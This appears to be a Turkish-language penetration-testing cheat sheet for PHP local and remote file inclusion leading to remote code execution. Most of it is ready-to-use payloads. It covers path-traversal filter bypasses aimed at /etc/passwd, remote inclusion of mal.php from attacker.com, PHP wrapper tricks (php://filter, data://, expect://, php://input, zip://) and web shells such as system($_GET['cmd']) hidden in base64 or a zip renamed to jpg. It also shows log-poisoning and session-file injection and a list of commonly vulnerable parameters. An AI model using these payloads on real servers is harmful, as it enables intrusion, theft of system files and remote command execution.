PHP

Remote File Inclusion
Local File Inclusion
Remote Code Execution

Blind - LFI2RCE

http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Fuzz bölümüne saldırı yapılarak dosyalar uzaktan dahil edilerek okunabilir.Windows,Linux veya Unix sistemlerde zafiyet bulunduğunda okunabilmektedir.

../../../../../ veya / veya \ kullanılarak filtreleme işlemine göre saldırı gerçekleştirilebilir.Eğer filtreleme tekli bir filtreleme işlemiyse örneğin;

Filtreleme "../","{Boş Bırak}" gibi bir işlem ise Bypass işlemi ise şu şekilde olur :

..././../../..././ == ../../

Çıkan sonuç ise böyle olacaktır ve böylece saldırı gerçekleşmiş olacaktır.

LFI and Bypasses

http://example.com/index.php?page=../../../etc/passwd

Traversal Sequences Stripped Non-Recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Kaçış dizileri kullanılarak yani Slash ters ve normal bir biçimde farklı bir karakterler kullanılarak yapılan bypass işlemleri gerçekleşmiştir.

Null Byte %00

Yani ismindende anlaşılacağı üzere 0 Byte saldırısı olarak söylenebilir.

Burada ki Bypass işlemi ise şöyle gerçekleşmiştir -> $_GET['param']."php" Param kısmına gelen veri örneğin "index" Olarak GET methoduyla istek gönderildiğinde index.php karşımıza gelecektir fakat NullByte ile boş gönderildiği için Sonuna gelen %00 verisi "index .php" şeklinde olacağından .php dışarıda kalacaktır ve bizim verdiğimiz dosya okunacaktır.

http://example.com/index.php?page=../../../etc/passwd%00

URL Encode

URL Encode edilerek yapılan bir saldırı tekniğidir.

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Burada / \ gibi semboller encode edilerek sistem tarafından algılanmasının önüne geçilmektedir.Bu sebepten dolayı zafiyet ortay acıkmaktadır.

From Existent Folder

Bulunan dahili klasör üzerinden yapılan ileri taramalardır.Bu taramalar sonucunda da istenilen dosyaya erişilebilir.

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Dahili klasör bölümü

Path Truncation

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\.\[Ekle]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/./.[Ekle]/./.
http://example.com/index.php?page=a/./.[Ekle]/etc/passwd
http://example.com/index.php?page=a/../../../../[Ekle]../../../../../etc/passwd

PHP 5.3 ile zafiyet ortadan kaldırılmıştır eski sürümlerde çalışmaktadır.

Filter Bypass

Filtre atlama tekniklerinin kısaca belirtmek gerekirse ;

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=../////../////../////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/var/www/../../etc/passwd

Basic RFI

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Farklı bir sistemden dosya okunabildiği gibi Local olaraktan uzakta ki sunucuda ki dosyalar okunabilir.

LFI - RFI Using Php Wrappers & Protocols

Php sarmalları ve protokollerini kullanılarak yapılan saldırılarda ise filtreleme işlemleri gerçekleşmektedir bu işlemlerle saldırılar yapılarak zafiyet çalıştırılmaktadır.PHP filtreler veriler işlenmeden veya işlem sonrası filtreleme yapılarak bir veri ortaya çıkarması işlemi gerçekleştirmektedir.

Php://Filter

String Filter (Dizi Filtreleri)	*Conversion Filter (Dönüşüm Filtreleri)*
string.rot13	convert.base64-encode
string.toupper	convert.base64-decode
string.tolower	convert.quoted-printable-encode
string.strip_tags	convert.quoted-printable-decode
	convert.iconv.*

Convert.iconv.* = Farklı bir kodlamaya dönüştürmek için kullanılmaktadır.

Compressions Filter (Sıkıştırma Filtreleri)	*Encryption Filters (Şifreleme)*
zlib.deflate	mcrypt.*
zlib.inflate	mdecrypt.*

String Filters

string.toupper, string.rot13 and string.tolower filtreleri ile okunacak veri /etc/passwd

```
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");

echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
```

Burada iki türlü filtreleme işlemi gerçekleşmiştir

```
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code;
?>lalalala");
```

Conversion filter

```
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
```

Base64 verisi decode edilmiştir veri ise Resource=data://plain/text,{Veri} olarak belirtilmiştir.

```
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
```

Önce Base64 ile şifreler daha sonra ise çözer

Cconvert.quoted-printable-encode

```
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
```

UTF-8 > UTF-16 çevirmektedir.

```
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
```

Compresion Filter

Compress + B64

```
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated');
```

php://fd

Açılan dosyaların tanımcılayıcılarına izin verir.Açılan dosyaların içeriğini sızdırabilir.
Sıra sıra 0, 1 ve 2 dosya tanımlayıcılarına erişmek için php://stdin, php://stdout ve php://stderr'i de kullanabilirsiniz

```
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```

zip:// & rar://

Rar veya Zip protokolünün kötüye kullanılmasına yol açabilmektedir bunu örneklerle gösterelim.

```
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  echo komutu ile php kodu ile > dosya.php oluşur.
zip payload.zip payload.php;   zip komutuyla payload.zip adlı dosya oluşturulur ve payload.php içine atılır.
mv payload.zip shell.jpg;   payload.zip adlı dosyanın ismi Shell.jpeg olarak değiştirilir.
rm payload.php   payload.php dosyası silinir.
http://example.com/index.php?page=zip://shell.jpg%23payload.php Zip filterisi ile Shell.jpeg dosyası payload.php
olarak açılır.
```

Data://

- http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
- http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
- http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
- http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
- http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
- http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

Payload = "<?php system($_GET['cmd']);echo 'Shell Done !'; ?>"

İki türlü okuma gerçekleşmektedir data:text/plain ve data://text/plain eğer kod parçacığı belirtilecekse "," koyulur eğer herhangi bir şifreleme belirtilecekse ";" koyulmaktadır.

XSS Tetikleyici Payload :
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Expect://

Bu filtreleme işlemi ile kod çalıştırılmaktadır. expect://id veya expect://ifconfig

Input://

POST parametrelerine yük gönderilerek yapılan işlemler.

http://example.com/index.php?page=php://input
Post Verisi : <?php system('id'); ?>

phar://

Dosyayı yüklemek için include gibi bir işlev kullanıyorsa, PHP kodunu yürütmek için bir .phar dosyası da kullanılabilir.

Diğer Protokoller ise ;

File:// Accessing Local Filesystem : Yere dosya sistemine erişilmektedir.
Glob:// : Desenli dosya filtrelemesidir fazla kullanışlı değildir genelde filtrelemelerde hatalar oluşmaktadır.
Ssh2:// : Güvenli Kabuk protokolü
Ogg:// Ses Dosyaları : Bu protokolde saldırı yapılması sonuçsuz kalmaktadır.

LFI via PHP's 'Assert'

Herhangi bir iddaa yoluyla yapılan saldırılar bazen zafiyetler sonuçlanabilmektedir.Hack saldırı veya Tekrar deneyiniz gibi hatalara kullanılabilir.

Hata Kaynağı

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

Assert işlevi ise işlemin doğruluğunu kontrol eder sonuç false ise işlemi ortaya koyar değil ise farklı bir işlem gerçekleştirmeye yaramaktadır.Strpos ise bulunan son konumu göstermektedir.
$x =a b c ; y= c strpos($x,$y); burada çıkan sonuç 2'dir.stripos büyük küçük harf duyarsız strpos ise duyarlıdır.

İstismar edilmesi ;

Path Traversal
' and die(show_source('/etc/passwd')) or '
Veya RCE olarak kullanılabilir ' and die(system("whoami")) or '

Via Apache Log File

Apache sunucusu LFI saldırılarında bazen duyarsız kalabilir. /var/log/Apache2/access.log'a deneyiniz.Bir GET parametresi içerisine <?php system($_GET['exploit']); ?> gibi bir php kabuğu ayarlayabilirsiniz. "exploit" GET parametresini kullanarak kod yürütülür. Kabuk için basit tırnak işaretleri yerine çift tırnak kullanırsanız, çift tırnakların "quote;" dizesi için değiştirileceğini, PHP'nin orada bir hata vereceğini ve başka hiçbir şeyin yürütülmeyeceğini unutmayın. Bu, diğer günlüklerde de yapılabilir ancak dikkatli olun, günlüklerin içindeki kod URL kodlu olabilir ve bu, Shell'i yok edebilir.

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

/var/log/vsftpd.log verisine örnek olarak ise

ftp example.com 30000
Connected to example.com
220 Welcome to FTP Server
Name (example.com:testuser): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.

Olarak veri gönderilerek loglara kayıt edilmesi sağlanabilir. /var/log/vsftpd.log&cmd= Command Inject

Log kayıtlarına veriler düşürülerek RCE veya LFI saldırıları yapılabilir.

/proc/self/environ dosyasına gönderilen günlüklere örnek verelim burada ise User-Agent ile veri gönderilmektedir.

User-Agent: <?=phpinfo(); ?> veri iletilir.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1

Upload File

Kontrolsüz bir dosya yükleme var ise onu çalıştırabilirsiniz her türlü ve bu basit bir işlemdir.

http://example.com/index.php?page=path/to/uploaded/resim.png

Burada URL dosya açımı belirtilmektedir ve kolay bir sızma olabilir tabi ki tespit edilebilirse.

Eğer sıkıştırılmış bir ZIP dosyası yükelenebiliniyorsa ve açabiliyorsak Shell enjekte edebiliriz.

https://example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Hello.zip dosyası RCE.php olarak açılabilir.

Cookie – Session

Çerezlerde ve Depolanmış verilerde de işlemler yapılarak saldırılar korumasız ise gerçekleşebilir.

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
login=1&user=admin&pass=password&lang=/../../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

TOP 25 Parametre

- ✓ ?cat={payload}
- ✓ ?dir={payload}
- ✓ ?action={payload}
- ✓ ?board={payload}
- ✓ ?date={payload}
- ✓ ?detail={payload}
- ✓ ?file={payload}
- ✓ ?download={payload}
- ✓ ?path={payload}
- ✓ ?folder={payload}
- ✓ ?prefix={payload}
- ✓ ?include={payload}
- ✓ ?page={payload}
- ✓ ?inc={payload}
- ✓ ?locate={payload}
- ✓ ?show={payload}
- ✓ ?doc={payload}
- ✓ ?site={payload}
- ✓ ?type={payload}
- ✓ ?view={payload}
- ✓ ?content={payload}
- ✓ ?document={payload}
- ✓ ?layout={payload}
- ✓ ?mod={payload}
- ✓ ?conf={payload}